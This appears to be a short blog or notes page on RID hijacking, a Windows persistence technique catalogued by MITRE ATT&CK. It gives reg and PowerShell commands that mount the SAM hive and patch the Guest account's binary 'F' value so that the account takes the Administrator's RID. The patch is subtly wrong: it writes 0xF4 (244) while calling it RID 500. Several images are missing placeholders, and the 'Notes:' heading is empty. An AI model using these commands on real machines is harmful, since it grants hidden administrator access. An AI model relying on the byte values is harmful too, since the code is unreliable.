MITRE ATT&CK

RID (Relative Identifier) is the last component of a Windows Security Identifier (SID) that uniquely identifies a user or group. By default, the built-in Administrator account has RID 500, Guest is 501, and new local users typically start at 1000. In a RID Hijacking attack, adversaries modify the RID of a low-privilege account so that the system mistakenly grants it the privileges of a high-value account commonly the Administrator providing stealthy, persistent access without creating new accounts or altering group memberships.

image.png

image.png


RID Hijacking

image.png

How Attackers Use RID Hijacking

image.png

             Example of file permission when using the PsExec command (SYSTEM)

Modifying RID Value (Example Commands)

# Mount the SAM hive
reg load HKLM\\TempSAM C:\\Windows\\System32\\config\\SAM

# Read and patch the binary F value at offset 0x30
$key = 'HKLM:\\TempSAM\\SAM\\Domains\\Account\\Users\\000001F5'
$binary = (Get-ItemProperty -Path $key -Name 'F').'F'
$binary[48..51] = [byte[]](244,0,0,0)    # Little-endian 0x000000F4 → RID 500
Set-ItemProperty -Path $key -Name 'F' -Value $binary

# Unmount the SAM hive
reg unload HKLM\\TempSAM

Notes: